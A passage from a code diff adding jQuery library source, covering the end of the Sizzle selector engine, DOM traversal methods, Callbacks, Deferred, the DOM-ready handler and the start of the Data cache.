+								setMatched[i] = pop.call( results );
+							}
+						}
+					}
+
+					// Discard index placeholder values to get only actual matches
+					setMatched = condense( setMatched );
+				}
+
+				// Add matches to results
+				push.apply( results, setMatched );
+
+				// Seedless set matches succeeding multiple successful matchers stipulate sorting
+				if ( outermost && !seed && setMatched.length > 0 &&
+					( matchedCount + setMatchers.length ) > 1 ) {
+
+					Sizzle.uniqueSort( results );
+				}
+			}
+
+			// Override manipulation of globals by nested matchers
+			if ( outermost ) {
+				dirruns = dirrunsUnique;
+				outermostContext = contextBackup;
+			}
+
+			return unmatched;
+		};
+
+	return bySet ?
+		markFunction( superMatcher ) :
+		superMatcher;
+}
+
+compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
+	var i,
+		setMatchers = [],
+		elementMatchers = [],
+		cached = compilerCache[ selector + " " ];
+
+	if ( !cached ) {
+		// Generate a function of recursive functions that can be used to check each element
+		if ( !match ) {
+			match = tokenize( selector );
+		}
+		i = match.length;
+		while ( i-- ) {
+			cached = matcherFromTokens( match[i] );
+			if ( cached[ expando ] ) {
+				setMatchers.push( cached );
+			} else {
+				elementMatchers.push( cached );
+			}
+		}
+
+		// Cache the compiled function
+		cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
+
+		// Save selector and tokenization
+		cached.selector = selector;
+	}
+	return cached;
+};
+
+/**
+ * A low-level selection function that works with Sizzle's compiled
+ *  selector functions
+ * @param {String|Function} selector A selector or a pre-compiled
+ *  selector function built with Sizzle.compile
+ * @param {Element} context
+ * @param {Array} [results]
+ * @param {Array} [seed] A set of elements to match against
+ */
+select = Sizzle.select = function( selector, context, results, seed ) {
+	var i, tokens, token, type, find,
+		compiled = typeof selector === "function" && selector,
+		match = !seed && tokenize( (selector = compiled.selector || selector) );
+
+	results = results || [];
+
+	// Try to minimize operations if there is only one selector in the list and no seed
+	// (the latter of which guarantees us context)
+	if ( match.length === 1 ) {
+
+		// Reduce context if the leading compound selector is an ID
+		tokens = match[0] = match[0].slice( 0 );
+		if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
+				support.getById && context.nodeType === 9 && documentIsHTML &&
+				Expr.relative[ tokens[1].type ] ) {
+
+			context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
+			if ( !context ) {
+				return results;
+
+			// Precompiled matchers will still verify ancestry, so step up a level
+			} else if ( compiled ) {
+				context = context.parentNode;
+			}
+
+			selector = selector.slice( tokens.shift().value.length );
+		}
+
+		// Fetch a seed set for right-to-left matching
+		i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
+		while ( i-- ) {
+			token = tokens[i];
+
+			// Abort if we hit a combinator
+			if ( Expr.relative[ (type = token.type) ] ) {
+				break;
+			}
+			if ( (find = Expr.find[ type ]) ) {
+				// Search, expanding context for leading sibling combinators
+				if ( (seed = find(
+					token.matches[0].replace( runescape, funescape ),
+					rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
+				)) ) {
+
+					// If seed is empty or no tokens remain, we can return early
+					tokens.splice( i, 1 );
+					selector = seed.length && toSelector( tokens );
+					if ( !selector ) {
+						push.apply( results, seed );
+						return results;
+					}
+
+					break;
+				}
+			}
+		}
+	}
+
+	// Compile and execute a filtering function if one is not provided
+	// Provide `match` to avoid retokenization if we modified the selector above
+	( compiled || compile( selector, match ) )(
+		seed,
+		context,
+		!documentIsHTML,
+		results,
+		!context || rsibling.test( selector ) && testContext( context.parentNode ) || context
+	);
+	return results;
+};
+
+// One-time assignments
+
+// Sort stability
+support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;
+
+// Support: Chrome 14-35+
+// Always assume duplicates if they aren't passed to the comparison function
+support.detectDuplicates = !!hasDuplicate;
+
+// Initialize against the default document
+setDocument();
+
+// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
+// Detached nodes confoundingly follow *each other*
+support.sortDetached = assert(function( div1 ) {
+	// Should return 1, but returns 4 (following)
+	return div1.compareDocumentPosition( document.createElement("div") ) & 1;
+});
+
+// Support: IE<8
+// Prevent attribute/property "interpolation"
+// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
+if ( !assert(function( div ) {
+	div.innerHTML = "<a href='#'></a>";
+	return div.firstChild.getAttribute("href") === "#" ;
+}) ) {
+	addHandle( "type|href|height|width", function( elem, name, isXML ) {
+		if ( !isXML ) {
+			return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
+		}
+	});
+}
+
+// Support: IE<9
+// Use defaultValue in place of getAttribute("value")
+if ( !support.attributes || !assert(function( div ) {
+	div.innerHTML = "<input/>";
+	div.firstChild.setAttribute( "value", "" );
+	return div.firstChild.getAttribute( "value" ) === "";
+}) ) {
+	addHandle( "value", function( elem, name, isXML ) {
+		if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
+			return elem.defaultValue;
+		}
+	});
+}
+
+// Support: IE<9
+// Use getAttributeNode to fetch booleans when getAttribute lies
+if ( !assert(function( div ) {
+	return div.getAttribute("disabled") == null;
+}) ) {
+	addHandle( booleans, function( elem, name, isXML ) {
+		var val;
+		if ( !isXML ) {
+			return elem[ name ] === true ? name.toLowerCase() :
+					(val = elem.getAttributeNode( name )) && val.specified ?
+					val.value :
+				null;
+		}
+	});
+}
+
+return Sizzle;
+
+})( window );
+
+
+
+jQuery.find = Sizzle;
+jQuery.expr = Sizzle.selectors;
+jQuery.expr[ ":" ] = jQuery.expr.pseudos;
+jQuery.uniqueSort = jQuery.unique = Sizzle.uniqueSort;
+jQuery.text = Sizzle.getText;
+jQuery.isXMLDoc = Sizzle.isXML;
+jQuery.contains = Sizzle.contains;
+
+
+
+var dir = function( elem, dir, until ) {
+	var matched = [],
+		truncate = until !== undefined;
+
+	while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {
+		if ( elem.nodeType === 1 ) {
+			if ( truncate && jQuery( elem ).is( until ) ) {
+				break;
+			}
+			matched.push( elem );
+		}
+	}
+	return matched;
+};
+
+
+var siblings = function( n, elem ) {
+	var matched = [];
+
+	for ( ; n; n = n.nextSibling ) {
+		if ( n.nodeType === 1 && n !== elem ) {
+			matched.push( n );
+		}
+	}
+
+	return matched;
+};
+
+
+var rneedsContext = jQuery.expr.match.needsContext;
+
+var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );
+
+
+
+var risSimple = /^.[^:#\[\.,]*$/;
+
+// Implement the identical functionality for filter and not
+function winnow( elements, qualifier, not ) {
+	if ( jQuery.isFunction( qualifier ) ) {
+		return jQuery.grep( elements, function( elem, i ) {
+			/* jshint -W018 */
+			return !!qualifier.call( elem, i, elem ) !== not;
+		} );
+
+	}
+
+	if ( qualifier.nodeType ) {
+		return jQuery.grep( elements, function( elem ) {
+			return ( elem === qualifier ) !== not;
+		} );
+
+	}
+
+	if ( typeof qualifier === "string" ) {
+		if ( risSimple.test( qualifier ) ) {
+			return jQuery.filter( qualifier, elements, not );
+		}
+
+		qualifier = jQuery.filter( qualifier, elements );
+	}
+
+	return jQuery.grep( elements, function( elem ) {
+		return ( indexOf.call( qualifier, elem ) > -1 ) !== not;
+	} );
+}
+
+jQuery.filter = function( expr, elems, not ) {
+	var elem = elems[ 0 ];
+
+	if ( not ) {
+		expr = ":not(" + expr + ")";
+	}
+
+	return elems.length === 1 && elem.nodeType === 1 ?
+		jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] :
+		jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
+			return elem.nodeType === 1;
+		} ) );
+};
+
+jQuery.fn.extend( {
+	find: function( selector ) {
+		var i,
+			len = this.length,
+			ret = [],
+			self = this;
+
+		if ( typeof selector !== "string" ) {
+			return this.pushStack( jQuery( selector ).filter( function() {
+				for ( i = 0; i < len; i++ ) {
+					if ( jQuery.contains( self[ i ], this ) ) {
+						return true;
+					}
+				}
+			} ) );
+		}
+
+		for ( i = 0; i < len; i++ ) {
+			jQuery.find( selector, self[ i ], ret );
+		}
+
+		// Needed because $( selector, context ) becomes $( context ).find( selector )
+		ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );
+		ret.selector = this.selector ? this.selector + " " + selector : selector;
+		return ret;
+	},
+	filter: function( selector ) {
+		return this.pushStack( winnow( this, selector || [], false ) );
+	},
+	not: function( selector ) {
+		return this.pushStack( winnow( this, selector || [], true ) );
+	},
+	is: function( selector ) {
+		return !!winnow(
+			this,
+
+			// If this is a positional/relative selector, check membership in the returned set
+			// so $("p:first").is("p:last") won't return true for a doc with two "p".
+			typeof selector === "string" && rneedsContext.test( selector ) ?
+				jQuery( selector ) :
+				selector || [],
+			false
+		).length;
+	}
+} );
+
+
+// Initialize a jQuery object
+
+
+// A central reference to the root jQuery(document)
+var rootjQuery,
+
+	// A simple way to check for HTML strings
+	// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
+	// Strict HTML recognition (#11290: must start with <)
+	rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
+
+	init = jQuery.fn.init = function( selector, context, root ) {
+		var match, elem;
+
+		// HANDLE: $(""), $(null), $(undefined), $(false)
+		if ( !selector ) {
+			return this;
+		}
+
+		// Method init() accepts an alternate rootjQuery
+		// so migrate can support jQuery.sub (gh-2101)
+		root = root || rootjQuery;
+
+		// Handle HTML strings
+		if ( typeof selector === "string" ) {
+			if ( selector[ 0 ] === "<" &&
+				selector[ selector.length - 1 ] === ">" &&
+				selector.length >= 3 ) {
+
+				// Assume that strings that start and end with <> are HTML and skip the regex check
+				match = [ null, selector, null ];
+
+			} else {
+				match = rquickExpr.exec( selector );
+			}
+
+			// Match html or make sure no context is specified for #id
+			if ( match && ( match[ 1 ] || !context ) ) {
+
+				// HANDLE: $(html) -> $(array)
+				if ( match[ 1 ] ) {
+					context = context instanceof jQuery ? context[ 0 ] : context;
+
+					// Option to run scripts is true for back-compat
+					// Intentionally let the error be thrown if parseHTML is not present
+					jQuery.merge( this, jQuery.parseHTML(
+						match[ 1 ],
+						context && context.nodeType ? context.ownerDocument || context : document,
+						true
+					) );
+
+					// HANDLE: $(html, props)
+					if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {
+						for ( match in context ) {
+
+							// Properties of context are called as methods if possible
+							if ( jQuery.isFunction( this[ match ] ) ) {
+								this[ match ]( context[ match ] );
+
+							// ...and otherwise set as attributes
+							} else {
+								this.attr( match, context[ match ] );
+							}
+						}
+					}
+
+					return this;
+
+				// HANDLE: $(#id)
+				} else {
+					elem = document.getElementById( match[ 2 ] );
+
+					// Support: Blackberry 4.6
+					// gEBID returns nodes no longer in the document (#6963)
+					if ( elem && elem.parentNode ) {
+
+						// Inject the element directly into the jQuery object
+						this.length = 1;
+						this[ 0 ] = elem;
+					}
+
+					this.context = document;
+					this.selector = selector;
+					return this;
+				}
+
+			// HANDLE: $(expr, $(...))
+			} else if ( !context || context.jquery ) {
+				return ( context || root ).find( selector );
+
+			// HANDLE: $(expr, context)
+			// (which is just equivalent to: $(context).find(expr)
+			} else {
+				return this.constructor( context ).find( selector );
+			}
+
+		// HANDLE: $(DOMElement)
+		} else if ( selector.nodeType ) {
+			this.context = this[ 0 ] = selector;
+			this.length = 1;
+			return this;
+
+		// HANDLE: $(function)
+		// Shortcut for document ready
+		} else if ( jQuery.isFunction( selector ) ) {
+			return root.ready !== undefined ?
+				root.ready( selector ) :
+
+				// Execute immediately if ready is not present
+				selector( jQuery );
+		}
+
+		if ( selector.selector !== undefined ) {
+			this.selector = selector.selector;
+			this.context = selector.context;
+		}
+
+		return jQuery.makeArray( selector, this );
+	};
+
+// Give the init function the jQuery prototype for later instantiation
+init.prototype = jQuery.fn;
+
+// Initialize central reference
+rootjQuery = jQuery( document );
+
+
+var rparentsprev = /^(?:parents|prev(?:Until|All))/,
+
+	// Methods guaranteed to produce a unique set when starting from a unique set
+	guaranteedUnique = {
+		children: true,
+		contents: true,
+		next: true,
+		prev: true
+	};
+
+jQuery.fn.extend( {
+	has: function( target ) {
+		var targets = jQuery( target, this ),
+			l = targets.length;
+
+		return this.filter( function() {
+			var i = 0;
+			for ( ; i < l; i++ ) {
+				if ( jQuery.contains( this, targets[ i ] ) ) {
+					return true;
+				}
+			}
+		} );
+	},
+
+	closest: function( selectors, context ) {
+		var cur,
+			i = 0,
+			l = this.length,
+			matched = [],
+			pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ?
+				jQuery( selectors, context || this.context ) :
+				0;
+
+		for ( ; i < l; i++ ) {
+			for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {
+
+				// Always skip document fragments
+				if ( cur.nodeType < 11 && ( pos ?
+					pos.index( cur ) > -1 :
+
+					// Don't pass non-elements to Sizzle
+					cur.nodeType === 1 &&
+						jQuery.find.matchesSelector( cur, selectors ) ) ) {
+
+					matched.push( cur );
+					break;
+				}
+			}
+		}
+
+		return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );
+	},
+
+	// Determine the position of an element within the set
+	index: function( elem ) {
+
+		// No argument, return index in parent
+		if ( !elem ) {
+			return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
+		}
+
+		// Index in selector
+		if ( typeof elem === "string" ) {
+			return indexOf.call( jQuery( elem ), this[ 0 ] );
+		}
+
+		// Locate the position of the desired element
+		return indexOf.call( this,
+
+			// If it receives a jQuery object, the first element is used
+			elem.jquery ? elem[ 0 ] : elem
+		);
+	},
+
+	add: function( selector, context ) {
+		return this.pushStack(
+			jQuery.uniqueSort(
+				jQuery.merge( this.get(), jQuery( selector, context ) )
+			)
+		);
+	},
+
+	addBack: function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter( selector )
+		);
+	}
+} );
+
+function sibling( cur, dir ) {
+	while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}
+	return cur;
+}
+
+jQuery.each( {
+	parent: function( elem ) {
+		var parent = elem.parentNode;
+		return parent && parent.nodeType !== 11 ? parent : null;
+	},
+	parents: function( elem ) {
+		return dir( elem, "parentNode" );
+	},
+	parentsUntil: function( elem, i, until ) {
+		return dir( elem, "parentNode", until );
+	},
+	next: function( elem ) {
+		return sibling( elem, "nextSibling" );
+	},
+	prev: function( elem ) {
+		return sibling( elem, "previousSibling" );
+	},
+	nextAll: function( elem ) {
+		return dir( elem, "nextSibling" );
+	},
+	prevAll: function( elem ) {
+		return dir( elem, "previousSibling" );
+	},
+	nextUntil: function( elem, i, until ) {
+		return dir( elem, "nextSibling", until );
+	},
+	prevUntil: function( elem, i, until ) {
+		return dir( elem, "previousSibling", until );
+	},
+	siblings: function( elem ) {
+		return siblings( ( elem.parentNode || {} ).firstChild, elem );
+	},
+	children: function( elem ) {
+		return siblings( elem.firstChild );
+	},
+	contents: function( elem ) {
+		return elem.contentDocument || jQuery.merge( [], elem.childNodes );
+	}
+}, function( name, fn ) {
+	jQuery.fn[ name ] = function( until, selector ) {
+		var matched = jQuery.map( this, fn, until );
+
+		if ( name.slice( -5 ) !== "Until" ) {
+			selector = until;
+		}
+
+		if ( selector && typeof selector === "string" ) {
+			matched = jQuery.filter( selector, matched );
+		}
+
+		if ( this.length > 1 ) {
+
+			// Remove duplicates
+			if ( !guaranteedUnique[ name ] ) {
+				jQuery.uniqueSort( matched );
+			}
+
+			// Reverse order for parents* and prev-derivatives
+			if ( rparentsprev.test( name ) ) {
+				matched.reverse();
+			}
+		}
+
+		return this.pushStack( matched );
+	};
+} );
+var rnotwhite = ( /\S+/g );
+
+
+
+// Convert String-formatted options into Object-formatted ones
+function createOptions( options ) {
+	var object = {};
+	jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {
+		object[ flag ] = true;
+	} );
+	return object;
+}
+
+/*
+ * Create a callback list using the following parameters:
+ *
+ *	options: an optional list of space-separated options that will change how
+ *			the callback list behaves or a more traditional option object
+ *
+ * By default a callback list will act like an event callback list and can be
+ * "fired" multiple times.
+ *
+ * Possible options:
+ *
+ *	once:			will ensure the callback list can only be fired once (like a Deferred)
+ *
+ *	memory:			will keep track of previous values and will call any callback added
+ *					after the list has been fired right away with the latest "memorized"
+ *					values (like a Deferred)
+ *
+ *	unique:			will ensure a callback can only be added once (no duplicate in the list)
+ *
+ *	stopOnFalse:	interrupt callings when a callback returns false
+ *
+ */
+jQuery.Callbacks = function( options ) {
+
+	// Convert options from String-formatted to Object-formatted if needed
+	// (we check in cache first)
+	options = typeof options === "string" ?
+		createOptions( options ) :
+		jQuery.extend( {}, options );
+
+	var // Flag to know if list is currently firing
+		firing,
+
+		// Last fire value for non-forgettable lists
+		memory,
+
+		// Flag to know if list was already fired
+		fired,
+
+		// Flag to prevent firing
+		locked,
+
+		// Actual callback list
+		list = [],
+
+		// Queue of execution data for repeatable lists
+		queue = [],
+
+		// Index of currently firing callback (modified by add/remove as needed)
+		firingIndex = -1,
+
+		// Fire callbacks
+		fire = function() {
+
+			// Enforce single-firing
+			locked = options.once;
+
+			// Execute callbacks for all pending executions,
+			// respecting firingIndex overrides and runtime changes
+			fired = firing = true;
+			for ( ; queue.length; firingIndex = -1 ) {
+				memory = queue.shift();
+				while ( ++firingIndex < list.length ) {
+
+					// Run callback and check for early termination
+					if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&
+						options.stopOnFalse ) {
+
+						// Jump to end and forget the data so .add doesn't re-fire
+						firingIndex = list.length;
+						memory = false;
+					}
+				}
+			}
+
+			// Forget the data if we're done with it
+			if ( !options.memory ) {
+				memory = false;
+			}
+
+			firing = false;
+
+			// Clean up if we're done firing for good
+			if ( locked ) {
+
+				// Keep an empty list if we have data for future add calls
+				if ( memory ) {
+					list = [];
+
+				// Otherwise, this object is spent
+				} else {
+					list = "";
+				}
+			}
+		},
+
+		// Actual Callbacks object
+		self = {
+
+			// Add a callback or a collection of callbacks to the list
+			add: function() {
+				if ( list ) {
+
+					// If we have memory from a past run, we should fire after adding
+					if ( memory && !firing ) {
+						firingIndex = list.length - 1;
+						queue.push( memory );
+					}
+
+					( function add( args ) {
+						jQuery.each( args, function( _, arg ) {
+							if ( jQuery.isFunction( arg ) ) {
+								if ( !options.unique || !self.has( arg ) ) {
+									list.push( arg );
+								}
+							} else if ( arg && arg.length && jQuery.type( arg ) !== "string" ) {
+
+								// Inspect recursively
+								add( arg );
+							}
+						} );
+					} )( arguments );
+
+					if ( memory && !firing ) {
+						fire();
+					}
+				}
+				return this;
+			},
+
+			// Remove a callback from the list
+			remove: function() {
+				jQuery.each( arguments, function( _, arg ) {
+					var index;
+					while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
+						list.splice( index, 1 );
+
+						// Handle firing indexes
+						if ( index <= firingIndex ) {
+							firingIndex--;
+						}
+					}
+				} );
+				return this;
+			},
+
+			// Check if a given callback is in the list.
+			// If no argument is given, return whether or not list has callbacks attached.
+			has: function( fn ) {
+				return fn ?
+					jQuery.inArray( fn, list ) > -1 :
+					list.length > 0;
+			},
+
+			// Remove all callbacks from the list
+			empty: function() {
+				if ( list ) {
+					list = [];
+				}
+				return this;
+			},
+
+			// Disable .fire and .add
+			// Abort any current/pending executions
+			// Clear all callbacks and values
+			disable: function() {
+				locked = queue = [];
+				list = memory = "";
+				return this;
+			},
+			disabled: function() {
+				return !list;
+			},
+
+			// Disable .fire
+			// Also disable .add unless we have memory (since it would have no effect)
+			// Abort any pending executions
+			lock: function() {
+				locked = queue = [];
+				if ( !memory ) {
+					list = memory = "";
+				}
+				return this;
+			},
+			locked: function() {
+				return !!locked;
+			},
+
+			// Call all callbacks with the given context and arguments
+			fireWith: function( context, args ) {
+				if ( !locked ) {
+					args = args || [];
+					args = [ context, args.slice ? args.slice() : args ];
+					queue.push( args );
+					if ( !firing ) {
+						fire();
+					}
+				}
+				return this;
+			},
+
+			// Call all the callbacks with the given arguments
+			fire: function() {
+				self.fireWith( this, arguments );
+				return this;
+			},
+
+			// To know if the callbacks have already been called at least once
+			fired: function() {
+				return !!fired;
+			}
+		};
+
+	return self;
+};
+
+
+jQuery.extend( {
+
+	Deferred: function( func ) {
+		var tuples = [
+
+				// action, add listener, listener list, final state
+				[ "resolve", "done", jQuery.Callbacks( "once memory" ), "resolved" ],
+				[ "reject", "fail", jQuery.Callbacks( "once memory" ), "rejected" ],
+				[ "notify", "progress", jQuery.Callbacks( "memory" ) ]
+			],
+			state = "pending",
+			promise = {
+				state: function() {
+					return state;
+				},
+				always: function() {
+					deferred.done( arguments ).fail( arguments );
+					return this;
+				},
+				then: function( /* fnDone, fnFail, fnProgress */ ) {
+					var fns = arguments;
+					return jQuery.Deferred( function( newDefer ) {
+						jQuery.each( tuples, function( i, tuple ) {
+							var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
+
+							// deferred[ done | fail | progress ] for forwarding actions to newDefer
+							deferred[ tuple[ 1 ] ]( function() {
+								var returned = fn && fn.apply( this, arguments );
+								if ( returned && jQuery.isFunction( returned.promise ) ) {
+									returned.promise()
+										.progress( newDefer.notify )
+										.done( newDefer.resolve )
+										.fail( newDefer.reject );
+								} else {
+									newDefer[ tuple[ 0 ] + "With" ](
+										this === promise ? newDefer.promise() : this,
+										fn ? [ returned ] : arguments
+									);
+								}
+							} );
+						} );
+						fns = null;
+					} ).promise();
+				},
+
+				// Get a promise for this deferred
+				// If obj is provided, the promise aspect is added to the object
+				promise: function( obj ) {
+					return obj != null ? jQuery.extend( obj, promise ) : promise;
+				}
+			},
+			deferred = {};
+
+		// Keep pipe for back-compat
+		promise.pipe = promise.then;
+
+		// Add list-specific methods
+		jQuery.each( tuples, function( i, tuple ) {
+			var list = tuple[ 2 ],
+				stateString = tuple[ 3 ];
+
+			// promise[ done | fail | progress ] = list.add
+			promise[ tuple[ 1 ] ] = list.add;
+
+			// Handle state
+			if ( stateString ) {
+				list.add( function() {
+
+					// state = [ resolved | rejected ]
+					state = stateString;
+
+				// [ reject_list | resolve_list ].disable; progress_list.lock
+				}, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );
+			}
+
+			// deferred[ resolve | reject | notify ]
+			deferred[ tuple[ 0 ] ] = function() {
+				deferred[ tuple[ 0 ] + "With" ]( this === deferred ? promise : this, arguments );
+				return this;
+			};
+			deferred[ tuple[ 0 ] + "With" ] = list.fireWith;
+		} );
+
+		// Make the deferred a promise
+		promise.promise( deferred );
+
+		// Call given func if any
+		if ( func ) {
+			func.call( deferred, deferred );
+		}
+
+		// All done!
+		return deferred;
+	},
+
+	// Deferred helper
+	when: function( subordinate /* , ..., subordinateN */ ) {
+		var i = 0,
+			resolveValues = slice.call( arguments ),
+			length = resolveValues.length,
+
+			// the count of uncompleted subordinates
+			remaining = length !== 1 ||
+				( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,
+
+			// the master Deferred.
+			// If resolveValues consist of only a single Deferred, just use that.
+			deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
+
+			// Update function for both resolve and progress values
+			updateFunc = function( i, contexts, values ) {
+				return function( value ) {
+					contexts[ i ] = this;
+					values[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
+					if ( values === progressValues ) {
+						deferred.notifyWith( contexts, values );
+					} else if ( !( --remaining ) ) {
+						deferred.resolveWith( contexts, values );
+					}
+				};
+			},
+
+			progressValues, progressContexts, resolveContexts;
+
+		// Add listeners to Deferred subordinates; treat others as resolved
+		if ( length > 1 ) {
+			progressValues = new Array( length );
+			progressContexts = new Array( length );
+			resolveContexts = new Array( length );
+			for ( ; i < length; i++ ) {
+				if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
+					resolveValues[ i ].promise()
+						.progress( updateFunc( i, progressContexts, progressValues ) )
+						.done( updateFunc( i, resolveContexts, resolveValues ) )
+						.fail( deferred.reject );
+				} else {
+					--remaining;
+				}
+			}
+		}
+
+		// If we're not waiting on anything, resolve the master
+		if ( !remaining ) {
+			deferred.resolveWith( resolveContexts, resolveValues );
+		}
+
+		return deferred.promise();
+	}
+} );
+
+
+// The deferred used on DOM ready
+var readyList;
+
+jQuery.fn.ready = function( fn ) {
+
+	// Add the callback
+	jQuery.ready.promise().done( fn );
+
+	return this;
+};
+
+jQuery.extend( {
+
+	// Is the DOM ready to be used? Set to true once it occurs.
+	isReady: false,
+
+	// A counter to track how many items to wait for before
+	// the ready event fires. See #6781
+	readyWait: 1,
+
+	// Hold (or release) the ready event
+	holdReady: function( hold ) {
+		if ( hold ) {
+			jQuery.readyWait++;
+		} else {
+			jQuery.ready( true );
+		}
+	},
+
+	// Handle when the DOM is ready
+	ready: function( wait ) {
+
+		// Abort if there are pending holds or we're already ready
+		if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
+			return;
+		}
+
+		// Remember that the DOM is ready
+		jQuery.isReady = true;
+
+		// If a normal DOM Ready event fired, decrement, and wait if need be
+		if ( wait !== true && --jQuery.readyWait > 0 ) {
+			return;
+		}
+
+		// If there are functions bound, to execute
+		readyList.resolveWith( document, [ jQuery ] );
+
+		// Trigger any bound ready events
+		if ( jQuery.fn.triggerHandler ) {
+			jQuery( document ).triggerHandler( "ready" );
+			jQuery( document ).off( "ready" );
+		}
+	}
+} );
+
+/**
+ * The ready event handler and self cleanup method
+ */
+function completed() {
+	document.removeEventListener( "DOMContentLoaded", completed );
+	window.removeEventListener( "load", completed );
+	jQuery.ready();
+}
+
+jQuery.ready.promise = function( obj ) {
+	if ( !readyList ) {
+
+		readyList = jQuery.Deferred();
+
+		// Catch cases where $(document).ready() is called
+		// after the browser event has already occurred.
+		// Support: IE9-10 only
+		// Older IE sometimes signals "interactive" too soon
+		if ( document.readyState === "complete" ||
+			( document.readyState !== "loading" && !document.documentElement.doScroll ) ) {
+
+			// Handle it asynchronously to allow scripts the opportunity to delay ready
+			window.setTimeout( jQuery.ready );
+
+		} else {
+
+			// Use the handy event callback
+			document.addEventListener( "DOMContentLoaded", completed );
+
+			// A fallback to window.onload, that will always work
+			window.addEventListener( "load", completed );
+		}
+	}
+	return readyList.promise( obj );
+};
+
+// Kick off the DOM ready check even if the user does not
+jQuery.ready.promise();
+
+
+
+
+// Multifunctional method to get and set values of a collection
+// The value/s can optionally be executed if it's a function
+var access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
+	var i = 0,
+		len = elems.length,
+		bulk = key == null;
+
+	// Sets many values
+	if ( jQuery.type( key ) === "object" ) {
+		chainable = true;
+		for ( i in key ) {
+			access( elems, fn, i, key[ i ], true, emptyGet, raw );
+		}
+
+	// Sets one value
+	} else if ( value !== undefined ) {
+		chainable = true;
+
+		if ( !jQuery.isFunction( value ) ) {
+			raw = true;
+		}
+
+		if ( bulk ) {
+
+			// Bulk operations run against the entire set
+			if ( raw ) {
+				fn.call( elems, value );
+				fn = null;
+
+			// ...except when executing function values
+			} else {
+				bulk = fn;
+				fn = function( elem, key, value ) {
+					return bulk.call( jQuery( elem ), value );
+				};
+			}
+		}
+
+		if ( fn ) {
+			for ( ; i < len; i++ ) {
+				fn(
+					elems[ i ], key, raw ?
+					value :
+					value.call( elems[ i ], i, fn( elems[ i ], key ) )
+				);
+			}
+		}
+	}
+
+	return chainable ?
+		elems :
+
+		// Gets
+		bulk ?
+			fn.call( elems ) :
+			len ? fn( elems[ 0 ], key ) : emptyGet;
+};
+var acceptData = function( owner ) {
+
+	// Accepts only:
+	//  - Node
+	//    - Node.ELEMENT_NODE
+	//    - Node.DOCUMENT_NODE
+	//  - Object
+	//    - Any
+	/* jshint -W018 */
+	return owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );
+};
+
+
+
+
+function Data() {
+	this.expando = jQuery.expando + Data.uid++;
+}
+
+Data.uid = 1;
+
+Data.prototype = {
+
+	register: function( owner, initial ) {
+		var value = initial || {};
+
+		// If it is a node unlikely to be stringify-ed or looped over
+		// use plain assignment
+		if ( owner.nodeType ) {
+			owner[ this.expando ] = value;
+
+		// Otherwise secure it in a non-enumerable, non-writable property
+		// configurability must be true to allow the property to be
+		// deleted with the delete operator
+		} else {
+			Object.defineProperty( owner, this.expando, {
+				value: value,
+				writable: true,
+				configurable: true
+			} );
+		}
+		return owner[ this.expando ];
+	},
+	cache: function( owner ) {
+
+		// We can accept data for non-element nodes in modern browsers,
+		// but we should not, see #8335.
+		// Always return an empty object.
+		if ( !acceptData( owner ) ) {
+			return {};
+		}
+
+		// Check if the owner object already has a cache
+		var value = owner[ this.expando ];
+
+		// If not, create one
+		if ( !value ) {
+			value = {};
+
+			// We can accept data for non-element nodes in modern browsers,
+			// but we should not, see #8335.
+			// Always return an empty object.
+			if ( acceptData( owner ) ) {
+
+				// If it is a node unlikely to be stringify-ed or looped over
+				// use plain assignment
+				if ( owner.nodeType ) {
+					owner[ this.expando ] = value;
+
+				// Otherwise secure it in a non-enumerable property
+				// configurable must be true to allow the property to be
+				// deleted when data is removed
+				} else {
+					Object.defineProperty( owner, this.expando, {
+						value: value,
+						configurable: true
+					} );
+				}
+			}
+		}
+
+		return value;
+	},
+	set: function( owner, data, value ) {
+		var prop,
+			cache = this.cache( owner );
+
+		// Handle: [ owner, key, value ] args
+		if ( typeof data === "string" ) {
+			cache[ data ] = value;
+
+		// Handle: [ owner, { properties } ] args
+		} else {
+
+			// Copy the properties one-by-one to the cache object
+			for ( prop in data ) {
+				cache[ prop ] = data[ prop ];
+			}
+		}
+		return cache;
+	},
+	get: function( owner, key ) {
+		return key === undefined ?
+			this.cache( owner ) :
+			owner[ this.expando ] && owner[ this.expando ][ key ];
+	},
+	access: function( owner, key, value ) {
+		var stored;
+
+		// In cases where either:
+		//
+		//   1. No key was specified
+		//   2. A string key was specified, but no value provided
+		//
